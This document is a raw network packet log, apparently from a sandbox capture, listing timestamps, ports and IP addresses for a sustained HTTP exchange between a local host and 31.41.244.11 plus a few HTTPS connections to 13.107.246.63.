Nov 24, 2024 10:24:13.332110882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.332158089 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.332231998 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.332274914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.333250999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.333303928 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.333390951 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.333441019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.334404945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.334417105 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.334454060 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.334476948 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.335511923 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.335561037 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.335644007 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.335686922 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.336667061 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.336716890 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.336735010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.336775064 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.337630987 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.337781906 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.337802887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.337826014 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.337857962 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.338464022 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.338496923 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.338920116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.338967085 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.339019060 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.339020014 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.339026928 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.339068890 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.340025902 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.340078115 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.340162039 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.340208054 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.341197014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.341253042 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.341279030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.341330051 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.342696905 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.342710018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.342751026 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.342765093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.343800068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.343811989 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.343848944 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.343877077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.344599009 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.344646931 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.344686031 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.344738960 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.345717907 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.345771074 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.345853090 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.345900059 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.346890926 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.346937895 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.346999884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.347039938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.347990990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.348038912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.348081112 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.348123074 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.349104881 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.349163055 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.349198103 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.349242926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.350269079 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.350318909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.350353956 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.350399017 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.351358891 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.351409912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.351473093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.351515055 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.352549076 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.352597952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.352632999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.352678061 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.353648901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.353702068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.353806973 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.353856087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.354803085 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.354854107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.354939938 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.354985952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.355911016 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.355958939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.356057882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.356105089 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.357068062 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.357115030 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.357152939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.357206106 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.358278990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.358331919 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.358359098 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.358403921 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.359355927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.359405041 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.359488964 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.359534025 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.360445976 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.360491991 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.360541105 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.360588074 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.361572981 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.361622095 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.361695051 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.361737967 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.362705946 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.362756968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.362787962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.362833023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.363859892 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.363907099 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.363941908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.363986969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.364959002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.365010977 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.365067005 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.365113020 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.366101027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.366151094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.366214037 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.366257906 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.367322922 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.367369890 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.367388010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.367433071 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.367727995 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.368149042 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.368182898 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.368407011 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.368453026 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.368455887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.368495941 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.368593931 CET	49815	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.368601084 CET	443	49815	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.369503021 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.369558096 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.369631052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.369678020 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.370275974 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.370589018 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.370604038 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.370655060 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.370697975 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.370748997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.370790958 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.370954037 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:13.370960951 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:13.371829987 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.371870995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.371876001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.371908903 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.372920036 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.372965097 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.373002052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.373048067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.374027967 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.374078989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.374138117 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.374182940 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.375169992 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.375226974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.375266075 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.375339985 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.376283884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.376331091 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.376394033 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.376440048 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.377388000 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.377438068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.524488926 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.524554968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.524601936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.524601936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.525049925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.525115013 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.525285959 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.525336981 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.525363922 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.525405884 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.526494026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.526506901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.526542902 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.526560068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.527519941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.527570009 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.527631998 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.527677059 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.528678894 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.528724909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.528784037 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.528829098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.529788017 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.529836893 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.529866934 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.529915094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.530941963 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.530992031 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.531035900 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.531090975 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.532077074 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.532128096 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.532161951 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.532207966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.533201933 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.533266068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.533301115 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.533345938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.534423113 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.534435034 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.534476042 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.534493923 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.535445929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.535495996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.535554886 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.535602093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.536597013 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.536643028 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.536668062 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.536725044 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.537741899 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.537786961 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.537815094 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.537863970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.538908958 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.538922071 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.538957119 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.540066004 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.540112019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.540170908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.540216923 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.541131020 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.541176081 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.541228056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.541270971 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.542279959 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.542298079 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.542320013 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.542331934 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.543415070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.543435097 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.543457985 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.543471098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.544524908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.544567108 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.544692039 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.544735909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.545690060 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.545734882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.545763016 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.545804024 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.546804905 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.546860933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.546937943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.546987057 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.547920942 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.547964096 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.548034906 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.548073053 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.549096107 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.549277067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.549307108 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.549323082 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.550189972 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.550234079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.550323963 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.550367117 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.551367998 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.551412106 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.551441908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.551481962 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.552449942 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.552490950 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.552562952 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.552604914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.553599119 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.553649902 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.553711891 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.553760052 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.554718971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.554760933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.555181980 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.555221081 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.555974960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.556030035 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.556188107 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.556240082 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.557358980 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.557396889 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.557403088 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.557437897 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.558387041 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.558443069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.558470964 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.558511972 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.559320927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.559370041 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.559432030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.559475899 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.560411930 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.560456038 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.560496092 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.560540915 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.561548948 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.561593056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.561594963 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.561635971 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.562639952 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.562686920 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.562747002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.562792063 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.563786983 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.563828945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.563867092 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.563915968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.565105915 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.565155983 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.565196037 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.565237999 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.566023111 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.566066027 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.566102982 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.566145897 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.567168951 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.567210913 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.567287922 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.567326069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.568322897 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.568371058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.568420887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.568463087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:13.569470882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:13.569540024 CET	49813	80	192.168.2.5	31.41.244.11
